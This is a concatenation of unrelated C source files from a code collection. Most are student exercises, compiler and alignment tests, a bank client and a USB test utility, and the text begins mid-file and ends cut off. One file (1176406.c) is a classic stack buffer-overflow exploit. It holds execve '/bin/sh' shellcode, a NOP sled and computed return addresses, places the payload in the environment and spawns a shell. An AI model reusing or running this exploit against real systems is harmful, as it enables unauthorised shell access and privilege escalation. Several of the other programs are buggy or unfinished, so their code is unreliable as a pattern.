for (a = 0; a < N; a++) printf("%50s\t\t%f\n", bestw[a], bestd[a]);
}
return 0;
}
|
the_stack_data/82950248.c | //3. Liczba doskonała to liczba, która jest sumą podzielników od niej mniejszych.
//Na przykład 6 jest liczbą doskonałą ponieważ:
//1 + 2 + 3 = 6
//Napisz funkcję, która sprawdza czy podana liczba jest doskonała. Użyj tej
//funkcji do wypisania wszystkich liczb doskonałych mniejszych od 10 000.
#include <stdio.h>
int is_perfect(size_t n) {
int suma_podzielnikow = 0;
for (size_t i = 1; i < n; i++) {
if (n % i == 0) {
suma_podzielnikow += i;
}
}
return suma_podzielnikow == n;
}
int main () {
size_t max = 10000;
for (size_t i = 0; i < max; i++) {
if(is_perfect(i)) {
printf("Liczba %ld jest doskonała\n", i);
}
}
}
|
the_stack_data/32949574.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main (void)
{
int D,A,B,C;
double p;
scanf("%d",&D);
scanf("%d %d %d",&A,&B,&C);
if(D<=A && D<=B && D<=C)
{
printf("S\n");
}
else
{
printf("N\n");
}
return(0);
}
|
the_stack_data/27520.c | #include <stdio.h>
#include <stddef.h>
static struct sss{
char * f;
wchar_t snd;
} sss;
#define _offsetof(st,f) ((char *)&((st *) 16)->f - (char *) 16)
int main (void) {
printf ("+++Struct pointer-wchar_t:\n");
printf ("size=%d,align=%d,offset-pointer=%d,offset-wchar_t=%d,\nalign-pointer=%d,align-wchar_t=%d\n",
sizeof (sss), __alignof__ (sss),
_offsetof (struct sss, f), _offsetof (struct sss, snd),
__alignof__ (sss.f), __alignof__ (sss.snd));
return 0;
}
|
the_stack_data/621412.c | #include <stdio.h>
int main()
{
int a,b,c,x,y,z;
while (scanf("%d%d%d",&c,&a,&b)!=EOF)
{
a=(b+c)/2-a;
b=(b-c)/2-2*a;
x=9*a+3*b+c;
y=x+7*a+b;
z=y+9*a+b;
printf("%d %d %d\n",x,y,z);
}
return 0;
}
|
the_stack_data/184517725.c |
#include <stdio.h>
int add( int x );
int main( void )
{
printf( "%d\n", add( 40 ) );
return 0;
}
|
the_stack_data/31387452.c | #include<stdio.h>
main()
{
FILE *p,*q;
char ch;
p=fopen("C:/Users/Dhananjoy/Desktop/a.txt","r");
q=fopen("C:/Users/Dhananjoy/Desktop/b.txt","w");
if(!p)
printf("error!!");
else{
while((ch=fgetc(p))!=EOF)
{
if(ch>64 && ch<91)
{
printf("%c",ch);
fputc(ch,q);
}
else if(ch>96 && ch<123)
{
printf("%c",ch-32);
fputc(ch-32,q);
}
else
{
printf("%c",ch);
fputc(ch,q);
}
}
}
fclose(p);
fclose(q);
}
|
the_stack_data/68824.c | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
char* input();
char* parse(char *);
int output(char *);
int main(){
output(parse(input()));
return 0;
}
char* input(){
size_t size;
printf("Enter the length of the expression: ");
int len;
scanf("%d",&len);
size = len;
char *input = malloc(sizeof(char)*(size+1));
printf("Enter the arithmetic expression: ");
scanf("%*c");
fgets(input, size, stdin);
return input;
}
char* parse(char * exp){
int size = strlen(exp);
while(exp != '\0'){
if(isdigit(*exp)){
}
}
}
|
the_stack_data/178266705.c | #include <stdio.h>
static struct sss{
double f;
int :0;
int i;
} sss;
#define _offsetof(st,f) ((char *)&((st *) 16)->f - (char *) 16)
int main (void) {
printf ("+++int zerofield inside struct starting with double:\n");
printf ("size=%d,align=%d\n", sizeof (sss), __alignof__ (sss));
printf ("offset-double=%d,offset-last=%d,\nalign-double=%d,align-last=%d\n",
_offsetof (struct sss, f), _offsetof (struct sss, i),
__alignof__ (sss.f), __alignof__ (sss.i));
return 0;
}
|
the_stack_data/1176406.c | #include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can’t allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
|
the_stack_data/25136632.c | #include<stdio.h>
#include<stdlib.h>
int flag = 0;
int* copy_mat(int N, int A[])
{
int* B;
B = (int *)malloc(N*N*sizeof(int));
for(int i=0;i<N*N;i++)
B[i] = A[i];
return B;
}
void printmat(int A[], int N)
{
for(int i=0;i<N;i++)
{
for(int j=0;j<N;j++)
{
if(j==N-1)
{
printf("%d\n",A[i*N+j]);
continue;
}
printf("%d ",A[i*N+j]);
}
}
flag = 1;
}
void solver(int A[], int N, int R, int C, int curr_i, int curr_j)
{
// printmat(A,N);
// printf("\n");
for(int j=0;j<N;j++)
{
if(j==curr_j || A[curr_i*N+j]==0)
continue;
if(A[curr_i*N+curr_j]==A[curr_i*N+j])
{
// printf("1\n");
return;
}
}
for(int i=0;i<N;i++)
{
if(i==curr_i || A[i*N+curr_j]==0)
continue;
if(A[curr_i*N+curr_j]==A[i*N+curr_j])
{
// printf("2\n");
return;
}
}
int r=-1,c=-1;
for(int i=0;i<N;i+=R)
{
if(i>curr_i)
{
r = i-R;
break;
}
if(i+R==N)
{
r = i;
break;
}
}
// printf("%d %d\n",r,c);
for(int i=0;i<N;i+=C)
{
if(i>curr_j)
{
c = i-C;
break;
}
if(i+C==N)
{
c = i;
break;
}
}
// printf("yes = %d %d %d %d\n",r,c,curr_i,curr_j);
for(int i=r;i<r+R;i++)
{
for(int j=c;j<c+C;j++)
{
if((i==curr_i && j==curr_j) || A[i*N+j]==0)
continue;
if(A[i*N+j]==A[curr_i*N+curr_j])
{
// printf("%d %d 3\n",r,c);
return;
}
}
}
for(int i=curr_i;i<N;i++)
{
int j;
if(i==curr_i)
j = curr_j;
else
j = 0;
for(; j<N; j++)
{
if(A[i*N+j]==0)
{
for(int k=1;k<=N;k++)
{
A[i*N+j] = k;
solver(copy_mat(N, A),N,R,C,i,j);
if(flag==1)
return;
}
return;
}
}
}
printmat(A,N);
}
int main()
{
int N, R, C;
scanf("%d %d %d", &N, &R, &C);
int A[N*N];
for(int i=0;i<N;i++)
{
for(int j=0;j<N;j++)
{
scanf("%d",&A[i*N+j]);
}
}
//printmat(A,N);
solver(copy_mat(N, A), N, R, C, 0, 0);
if(flag==0)
printf("Invalid\n");
return 0;
} |
the_stack_data/86074428.c | #include <stdio.h>
void read_matrix(int[][5], int, int);
void sum_matrix(int[][5], int[][5], int, int);
void multi_matrix(int[][5], int[][5], int, int, int);
void transp_matrix(int[][5], int, int);
void display_matrix(int[][5], int, int);
int i, j, k;
int main()
{
int num, A[5][5], B[5][5], m, n, p, q;
do
{
printf("\n1. Matrix addition\n2. Matrix Multiplication\n3. Transpose of a Matrix\n4. Exit\nEnter which operation you want to perform (1,2,3,4) : ");
scanf("%d", &num);
switch (num)
{
case 1:
printf("Enter the no. of rows and columns of Matrix 1:\n");
scanf("%d %d", &m, &n);
printf("Enter the no. of rows and columns of Matrix 2:\n");
scanf("%d %d", &p, &q);
printf("Enter the elements of the Matrix 1 : \n");
read_matrix(A, m, n);
printf("Enter the elements of the Matrix 2 : \n");
read_matrix(B, p, q);
printf("The Matrices are:\n");
printf("Matrix 1:\n");
display_matrix(A, m, n);
printf("\n");
printf("Matrix 2:\n");
display_matrix(B, p, q);
if (m == p && n == q)
{
sum_matrix(A, B, m, n);
}
else
{
printf("The matrices cannot be added\n");
}
break;
case 2:
printf("Enter the no. of rows and columns of Matrix 1:\n");
scanf("%d %d", &m, &n);
printf("Enter the no. of rows and columns of Matrix 2:\n");
scanf("%d %d", &p, &q);
printf("Enter the elements of the Matrix 1 : \n");
read_matrix(A, m, n);
printf("Enter the elements of the Matrix 2 : \n");
read_matrix(B, p, q);
printf("The Matrices are:\n");
printf("Matrix 1:\n");
display_matrix(A, m, n);
printf("\n");
printf("Matrix 2:\n");
display_matrix(B, p, q);
if (n == p)
{
printf("Product matrix is:\n");
multi_matrix(A, B, m, q, p);
}
else
{
printf("Matrix Multiplication is not possible\n");
}
break;
case 3:
printf("Enter the no. of rows and columns of Matrix:\n");
scanf("%d %d", &m, &n);
printf("Enter the elements of the Matrix : \n");
read_matrix(A, m, n);
printf("The Matrix is:\n");
display_matrix(A, m, n);
transp_matrix(A, m, n);
break;
case 4:
break;
default:
printf("Invalid entry!\n");
break;
}
} while (num != 4);
}
void read_matrix(int c[][5], int m1, int n1)
{
for (i = 0; i < m1; i++)
{
for (j = 0; j < n1; j++)
{
scanf("%d", &c[i][j]);
}
}
}
void sum_matrix(int a1[][5], int b1[][5], int m2, int n2)
{
int c[5][5];
for (i = 0; i < m2; i++)
{
for (j = 0; j < n2; j++)
{
c[i][j] = a1[i][j] + b1[i][j];
}
}
printf("Sum Matrix is : \n");
display_matrix(c, m2, n2);
}
void multi_matrix(int a1[][5], int b1[][5], int m2, int q2, int p2)
{
int c[5][5];
for (i = 0; i < m2; i++)
{
for (j = 0; j < q2; j++)
{
c[i][j] = 0;
for (k = 0; k < q2; k++)
{
c[i][j] += a1[i][k] * b1[k][j];
}
}
}
printf("Product Matrix is : \n");
display_matrix(c, m2, q2);
}
void transp_matrix(int c[][5], int m1, int n1)
{
int d[5][5];
for (i = 0; i < m1; i++)
{
for (j = 0; j < n1; j++)
{
d[j][i] = c[i][j];
}
}
printf("Transposed Matrix is: \n");
display_matrix(d, n1, m1);
}
void display_matrix(int c[][5], int m1, int n1)
{
for (i = 0; i < m1; i++)
{
for (j = 0; j < n1; j++)
{
printf("%d ", c[i][j]);
}
printf("\n");
}
}
|
the_stack_data/7949091.c | // Kevin Orr
// Prof. Jing Wang MW 12:30-1:45
// Finds the largest or smallest integer from cli args
// USAGE: ./find_largest_smallest (-l | -s) number [number ...]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc != 12) { // Should have argv[0], mode switch, 10 numbers
puts("Invalid option. -l for largest number or -s for smallest\n"
"number followed by ten numbers.");
return 1;
}
if (strcmp(argv[1], "-l") == 0) {
// Find largest
int max = atoi(argv[2]);
int i;
for (i=3; i<argc; i++) {
int temp = atoi(argv[i]);
if (temp > max)
max = temp;
}
printf("The largest number is %d\n", max);
} else if (strcmp(argv[1], "-s") == 0) {
// Find smallest
int min = atoi(argv[2]);
int i;
for (i=3; i<argc; i++) {
int temp = atoi(argv[i]);
if (temp < min)
min = temp;
}
printf("The smallest number is %d\n", min);
} else {
puts("Invalid option");
return 1;
}
return 0;
}
|
the_stack_data/23574066.c | #include<stdio.h>
int main()
{
printf("hello world!\n");
return 0;
}
|
the_stack_data/131255.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlowcase.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mamaurai <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/07/01 08:06:29 by mamaurai #+# #+# */
/* Updated: 2021/07/01 12:24:23 by mamaurai ### ########.fr */
/* */
/* ************************************************************************** */
char *ft_strlowcase(char *str)
{
int i;
i = -1;
while (str[++i])
{
if (str[i] >= 'A' && str[i] <= 'Z')
str[i] += 32;
}
return (str);
}
|
the_stack_data/116513.c | /* IMP NOTES :
Here, the process is calling the pause function to put it to sleep until a signal is caught. When the
signal is caught, the signal handler just sets the flag sig_int_flag to a nonzero value. The process is
automatically awakened by the kernel after the signal handler returns, notices that the flag is
nonzero, and does whatever it needs to do. But there is a window of time when things can go wrong.
If the signal occurs after the test of sig_int_flag, but before the call to pause, the process could go
to sleep forever (assuming that the signal is never generated again). This occurrence of the signal is
lost. This is another example of some code that isn't right, yet it works most of the time. Debugging
this type of problem can be difficult.
*/
#include<stdio.h>
#include<signal.h>
int sig_status;
void sig_handler(int);
int main()
{
signal(SIGINT, sig_handler);
// while(sig_status == 0)
// pause();
return 0;
}
void sig_handler(int sig_num)
{
printf("\n inside sig handler with sig num %d \n",sig_num);
sig_status = 1;
signal(SIGINT, sig_handler);
}
|
the_stack_data/62637955.c | #include<stdio.h>
struct Object {
char name[10];
int weight, value, quantity;
};
void swap(struct Object obj[], int x, int y) {
struct Object c = obj[x];
obj[x] = obj[y];
obj[y] = c;
}
float value_per_weight (struct Object obj) {
return obj.value/(float)(obj.weight);
}
void sort(struct Object obj[], int N) {
int i, j;
for (i = 0; i < N-1; i++)
for (j = 0; j < N-i-1; j++)
if (value_per_weight(obj[j]) < (value_per_weight(obj[j+1])))
swap(obj, j, j+1);
}
void pick(struct Object obj[], int N, int max_weight) {
int i, current_weight = 0;
int max_value = 0;
sort(obj, N);
for (i = 0; i < N; i ++) {
if (current_weight >= max_weight) break;
int quantity = (max_weight - current_weight) / obj[i].weight;
obj[i].quantity = quantity;
current_weight += quantity * obj[i].weight;
}
for(i=0; i<N; i++){
max_value += obj[i].quantity*obj[i].value;
printf("%s : %d \n", obj[i].name, obj[i].quantity);
}
printf("%d\n",max_value);
}
int main() {
int N, W;
FILE *input_file = fopen("BAG.INP","r");
int i;
fscanf(input_file, "%d %d", &N, &W);
struct Object obj[N];
while(fscanf(input_file,"%s %d %d", &obj[i].name, &obj[i].weight, &obj[i].value) != EOF && i<N){
i++;
}
pick(obj, N, W);
fclose(input_file);
return 0;
}
|
the_stack_data/77968.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<assert.h>
#define MAX_CHARACTERS 1005
#define MAX_PARAGRAPHS 5
char* kth_word_in_mth_sentence_of_nth_paragraph(char**** document, int k, int m, int n) {
return document[n-1][m-1][k-1];
}
char** kth_sentence_in_mth_paragraph(char**** document, int k, int m) {
return document[m-1][k-1];
}
char*** kth_paragraph(char**** document, int k) {
return document[k-1];
}
char* get_word(char* text, int beg, int end) {
char* answer;
answer = calloc(end - beg + 2, sizeof(char));
int index = 0;
int i;
for (i = beg; i <= end; i++)
answer[index++] = text[i];
answer[index] = 0;
return answer;
}
char** get_sentence(char* text, int beg, int end) {
char** answer;
int word_count = 1;
int i;
for (i = beg; i <= end; i++)
if (text[i] == ' ')
++word_count;
answer = calloc(word_count, sizeof(char*));
int start = beg;
int index = 0;
for (i = beg; i <= end; i++)
if (text[i] == ' ')
{
answer[index++] = get_word(text, start, i - 1);
start = i + 1;
}
answer[index] = get_word(text, start, i - 1);
return answer;
}
char*** get_paragraph(char* text, int beg, int end) {
char*** answer;
int sentence_count = 0;
int i;
for (i = beg; i <= end; i++)
if (text[i] == '.')
++sentence_count;
answer = calloc(sentence_count, sizeof(char**));
int start = beg;
int index = 0;
for (i = beg; i <= end; i++)
if (text[i] == '.')
{
answer[index++] = get_sentence(text, start, i - 1);
start = i + 1;
}
return answer;
}
char**** get_document(char* text) {
char**** answer;
int paragraph_count = 1;
int i;
for (i = 0; text[i]; i++)
if (text[i] == '\n')
++paragraph_count;
answer = calloc(paragraph_count, sizeof(char***));
int start = 0;
int index = 0;
for (i = 0; text[i]; i++)
if (text[i] == '\n')
{
answer[index++] = get_paragraph(text, start, i - 1);
start = i + 1;
}
answer[index] = get_paragraph(text, start, i - 1);
return answer;
}
char* get_input_text() {
int paragraph_count;
scanf("%d", ¶graph_count);
char p[MAX_PARAGRAPHS][MAX_CHARACTERS], doc[MAX_CHARACTERS];
memset(doc, 0, sizeof(doc));
getchar();
for (int i = 0; i < paragraph_count; i++) {
scanf("%[^\n]%*c", p[i]);
strcat(doc, p[i]);
if (i != paragraph_count - 1)
strcat(doc, "\n");
}
char* returnDoc = (char*)malloc((strlen (doc)+1) * (sizeof(char)));
strcpy(returnDoc, doc);
return returnDoc;
}
void print_word(char* word) {
printf("%s", word);
}
void print_sentence(char** sentence) {
int word_count;
scanf("%d", &word_count);
for(int i = 0; i < word_count; i++){
printf("%s", sentence[i]);
if( i != word_count - 1)
printf(" ");
}
}
void print_paragraph(char*** paragraph) {
int sentence_count;
scanf("%d", &sentence_count);
for (int i = 0; i < sentence_count; i++) {
print_sentence(*(paragraph + i));
printf(".");
}
}
int main()
{
char* text = get_input_text();
char**** document = get_document(text);
int q;
scanf("%d", &q);
while (q--) {
int type;
scanf("%d", &type);
if (type == 3){
int k, m, n;
scanf("%d %d %d", &k, &m, &n);
char* word = kth_word_in_mth_sentence_of_nth_paragraph(document, k, m, n);
print_word(word);
}
else if (type == 2){
int k, m;
scanf("%d %d", &k, &m);
char** sentence = kth_sentence_in_mth_paragraph(document, k, m);
print_sentence(sentence);
}
else{
int k;
scanf("%d", &k);
char*** paragraph = kth_paragraph(document, k);
print_paragraph(paragraph);
}
printf("\n");
}
}
|
the_stack_data/220456987.c | #include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAX 1001
extern void customers(int );
extern void police(int );
extern void admin(int );
void error(char *msg)
{
perror(msg);
exit(0);
}
int main(int argc, char *argv[])
{
int sockfd, port, n;
char buffer[MAX];
struct sockaddr_in server_addr;
struct hostent *server;
if (argc < 3) {
fprintf(stderr,"Usage: %s hostname port\n", argv[0]);
exit(0);
}
port = atoi(argv[2]);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR in opening socket");
server = gethostbyname(argv[1]);
if (server == NULL) {
fprintf(stderr,"ERROR: Host not found\n");
exit(0);
}
bzero((char *) &server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr, (char *)&server_addr.sin_addr.s_addr, server->h_length);
server_addr.sin_port = htons(port);
// connecting to server
if (connect(sockfd,(struct sockaddr *)&server_addr,sizeof(server_addr)) < 0)
error("ERROR in connecting");
char username[MAX];
char password[MAX];
char user_type;
while(1)
{
// taking credentials from user
printf("Enter the credentials.\n");
bzero(username,MAX);
printf("Username: ");
fgets(username, MAX, stdin);
bzero(password,MAX);
printf("Password: ");
fgets (password, MAX, stdin);
bzero(buffer,MAX);
strcat(buffer,username);
strcat(buffer,"$$$");
strcat(buffer,password);
// sending it to server
n = write(sockfd,buffer,strlen(buffer));
if (n < 0)
error("ERROR writing to socket");
// false or exit or success (gives user type)
bzero(buffer,MAX);
n = read(sockfd,buffer,MAX-1);
if (n < 0)
error("ERROR reading from socket");
if(!strcmp(buffer,"exit"))
{
printf("You entered the invalid credentials 3 times. Exiting...\n");
return 0;
}
if(strcmp(buffer,"false"))
{
user_type = buffer[0];
break;
}
}
/* welcome to the bank */
if(user_type=='C')
{
printf("Welcome Bank_Customer.\n");
customers(sockfd);
}
else if(user_type=='A')
{
printf("Welcome Bank_Admin.\n");
admin(sockfd);
}
else if(user_type=='P')
{
printf("Welcome Police.\n");
police(sockfd);
}
// close the socket
close(sockfd);
return 0;
} |
the_stack_data/212643141.c | #include <stdio.h>
float testf02(float a, float b){
return a+b;
}
int main(){
float a = 5.0f;
float b = 3.4f;
float sum = testf02(a,b);
printf("%f\n", sum);
return 0;
}
|
the_stack_data/1047279.c | #include <stdio.h>
#include <limits.h>
// Java is too slow for this problem
int main() {
int i, j;
scanf("%d %d", &i, &j);
printf("%d\n", i & (INT_MAX << j));
return 0;
}
|
the_stack_data/150143146.c | // RUN: %clang_cc1 -triple mips-linux-gnu -S -emit-llvm %s -o - | FileCheck %s -check-prefix=MIPS
// RUN: %clang_cc1 -triple mips64-linux-gnu -S -emit-llvm %s -o - | FileCheck %s -check-prefix=MIPS64
// RUN: %clang_cc1 -triple armebv7-linux-gnueabihf -S -emit-llvm %s -o - | FileCheck %s -check-prefix=ARM
#include <stdarg.h>
extern void abort(void) __attribute__((noreturn));
struct tiny {
char c;
};
union data {
char c;
};
void fstr(int n, ...) {
struct tiny x;
va_list ap;
va_start (ap,n);
x = va_arg (ap, struct tiny);
if (x.c != 10)
abort();
va_end (ap);
// MIPS-NOT: %{{[0-9]+}} = getelementptr inbounds i8, i8* %argp.cur, i32 3
// MIPS64-NOT: %{{[0-9]+}} = getelementptr inbounds i8, i8* %argp.cur, i64 7
// ARM-NOT: %{{[0-9]+}} = getelementptr inbounds i8, i8* %argp.cur, i32 3
}
void funi(int n, ...) {
union data x;
va_list ap;
va_start (ap,n);
x = va_arg (ap, union data);
if (x.c != 10)
abort();
va_end (ap);
// MIPS-NOT: %{{[0-9]+}} = getelementptr inbounds i8, i8* %argp.cur, i32 3
// MIPS64-NOT: %{{[0-9]+}} = getelementptr inbounds i8, i8* %argp.cur, i64 7
// ARM-NOT: %{{[0-9]+}} = getelementptr inbounds i8, i8* %argp.cur, i32 3
}
void foo(void) {
struct tiny x[3];
union data y;
x[0].c = 10;
fstr(1, x[0]);
funi(1, y);
}
|
the_stack_data/824289.c | /* Taxonomy Classification: 0000000000003000000000 */
/*
* WRITE/READ 0 write
* WHICH BOUND 0 upper
* DATA TYPE 0 char
* MEMORY LOCATION 0 stack
* SCOPE 0 same
* CONTAINER 0 no
* POINTER 0 no
* INDEX COMPLEXITY 0 constant
* ADDRESS COMPLEXITY 0 constant
* LENGTH COMPLEXITY 0 N/A
* ADDRESS ALIAS 0 none
* INDEX ALIAS 0 none
* LOCAL CONTROL FLOW 3 cond
* SECONDARY CONTROL FLOW 0 none
* LOOP STRUCTURE 0 no
* LOOP COMPLEXITY 0 N/A
* ASYNCHRONY 0 no
* TAINT 0 no
* RUNTIME ENV. DEPENDENCE 0 no
* MAGNITUDE 0 no overflow
* CONTINUOUS/DISCRETE 0 discrete
* SIGNEDNESS 0 no
*/
/*
Copyright 2005 Massachusetts Institute of Technology
All rights reserved.
Redistribution and use of software in source and binary forms, with or without
modification, are permitted provided that the following conditions are met.
- Redistributions of source code must retain the above copyright notice,
this set of conditions and the disclaimer below.
- Redistributions in binary form must reproduce the copyright notice, this
set of conditions, and the disclaimer below in the documentation and/or
other materials provided with the distribution.
- Neither the name of the Massachusetts Institute of Technology nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main(int argc, char *argv[])
{
int flag;
char buf[10];
flag = 1;
/* OK */
flag ? buf[9] = 'A' : 0;
return 0;
}
|
the_stack_data/59511585.c | #include<stdio.h>
#include<time.h>
#define MAX 2000
char su[MAX+1];
int main() {
clock_t start, end;
double time;
start = clock();
for (int i = 2; i <= MAX; i++) {
su[i] = 1;
}
for (int i = 2; i <= MAX; i++) {
if (su[i]) {
for (int j = i; j * i <= MAX; j++) {
su[j * i] = 0;
}
}
}
end = clock();
for (int i = 2; i <= MAX; i++) {
if (su[i]) {
printf("%d\n", i);
}
}
time = (double)(end - start) / CLOCKS_PER_SEC;
printf("%lfs", time);
return 0;
} |
the_stack_data/156392377.c | /* $(CROSS_COMPILE)cc -Wall -Wextra -g -lpthread -o testusb testusb.c */
/*
* Copyright (c) 2002 by David Brownell
* Copyright (c) 2010 by Samsung Electronics
* Author: Michal Nazarewicz <[email protected]>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
/*
* This program issues ioctls to perform the tests implemented by the
* kernel driver. It can generate a variety of transfer patterns; you
* should make sure to test both regular streaming and mixes of
* transfer sizes (including short transfers).
*
* For more information on how this can be used and on USB testing
* refer to <URL:http://www.linux-usb.org/usbtest/>.
*/
#include <stdio.h>
#include <string.h>
#include <ftw.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
/*-------------------------------------------------------------------------*/
#define TEST_CASES 30
// FIXME make these public somewhere; usbdevfs.h?
struct usbtest_param {
// inputs
unsigned test_num; /* 0..(TEST_CASES-1) */
unsigned iterations;
unsigned length;
unsigned vary;
unsigned sglen;
// outputs
struct timeval duration;
};
#define USBTEST_REQUEST _IOWR('U', 100, struct usbtest_param)
/*-------------------------------------------------------------------------*/
/* #include <linux/usb_ch9.h> */
#define USB_DT_DEVICE 0x01
#define USB_DT_INTERFACE 0x04
#define USB_CLASS_PER_INTERFACE 0 /* for DeviceClass */
#define USB_CLASS_VENDOR_SPEC 0xff
struct usb_device_descriptor {
__u8 bLength;
__u8 bDescriptorType;
__u16 bcdUSB;
__u8 bDeviceClass;
__u8 bDeviceSubClass;
__u8 bDeviceProtocol;
__u8 bMaxPacketSize0;
__u16 idVendor;
__u16 idProduct;
__u16 bcdDevice;
__u8 iManufacturer;
__u8 iProduct;
__u8 iSerialNumber;
__u8 bNumConfigurations;
} __attribute__ ((packed));
struct usb_interface_descriptor {
__u8 bLength;
__u8 bDescriptorType;
__u8 bInterfaceNumber;
__u8 bAlternateSetting;
__u8 bNumEndpoints;
__u8 bInterfaceClass;
__u8 bInterfaceSubClass;
__u8 bInterfaceProtocol;
__u8 iInterface;
} __attribute__ ((packed));
enum usb_device_speed {
USB_SPEED_UNKNOWN = 0, /* enumerating */
USB_SPEED_LOW, USB_SPEED_FULL, /* usb 1.1 */
USB_SPEED_HIGH /* usb 2.0 */
};
/*-------------------------------------------------------------------------*/
static char *speed (enum usb_device_speed s)
{
switch (s) {
case USB_SPEED_UNKNOWN: return "unknown";
case USB_SPEED_LOW: return "low";
case USB_SPEED_FULL: return "full";
case USB_SPEED_HIGH: return "high";
default: return "??";
}
}
struct testdev {
struct testdev *next;
char *name;
pthread_t thread;
enum usb_device_speed speed;
unsigned ifnum : 8;
unsigned forever : 1;
int test;
struct usbtest_param param;
};
static struct testdev *testdevs;
static int testdev_ffs_ifnum(FILE *fd)
{
union {
char buf[255];
struct usb_interface_descriptor intf;
} u;
for (;;) {
if (fread(u.buf, 1, 1, fd) != 1)
return -1;
if (fread(u.buf + 1, (unsigned char)u.buf[0] - 1, 1, fd) != 1)
return -1;
if (u.intf.bLength == sizeof u.intf
&& u.intf.bDescriptorType == USB_DT_INTERFACE
&& u.intf.bNumEndpoints == 2
&& u.intf.bInterfaceClass == USB_CLASS_VENDOR_SPEC
&& u.intf.bInterfaceSubClass == 0
&& u.intf.bInterfaceProtocol == 0)
return (unsigned char)u.intf.bInterfaceNumber;
}
}
static int testdev_ifnum(FILE *fd)
{
struct usb_device_descriptor dev;
if (fread(&dev, sizeof dev, 1, fd) != 1)
return -1;
if (dev.bLength != sizeof dev || dev.bDescriptorType != USB_DT_DEVICE)
return -1;
/* FX2 with (tweaked) bulksrc firmware */
if (dev.idVendor == 0x0547 && dev.idProduct == 0x1002)
return 0;
/*----------------------------------------------------*/
/* devices that start up using the EZ-USB default device and
* which we can use after loading simple firmware. hotplug
* can fxload it, and then run this test driver.
*
* we return false positives in two cases:
* - the device has a "real" driver (maybe usb-serial) that
* renumerates. the device should vanish quickly.
* - the device doesn't have the test firmware installed.
*/
/* generic EZ-USB FX controller */
if (dev.idVendor == 0x0547 && dev.idProduct == 0x2235)
return 0;
/* generic EZ-USB FX2 controller */
if (dev.idVendor == 0x04b4 && dev.idProduct == 0x8613)
return 0;
/* CY3671 development board with EZ-USB FX */
if (dev.idVendor == 0x0547 && dev.idProduct == 0x0080)
return 0;
/* Keyspan 19Qi uses an21xx (original EZ-USB) */
if (dev.idVendor == 0x06cd && dev.idProduct == 0x010b)
return 0;
/*----------------------------------------------------*/
/* "gadget zero", Linux-USB test software */
if (dev.idVendor == 0x0525 && dev.idProduct == 0xa4a0)
return 0;
/* user mode subset of that */
if (dev.idVendor == 0x0525 && dev.idProduct == 0xa4a4)
return testdev_ffs_ifnum(fd);
/* return 0; */
/* iso version of usermode code */
if (dev.idVendor == 0x0525 && dev.idProduct == 0xa4a3)
return 0;
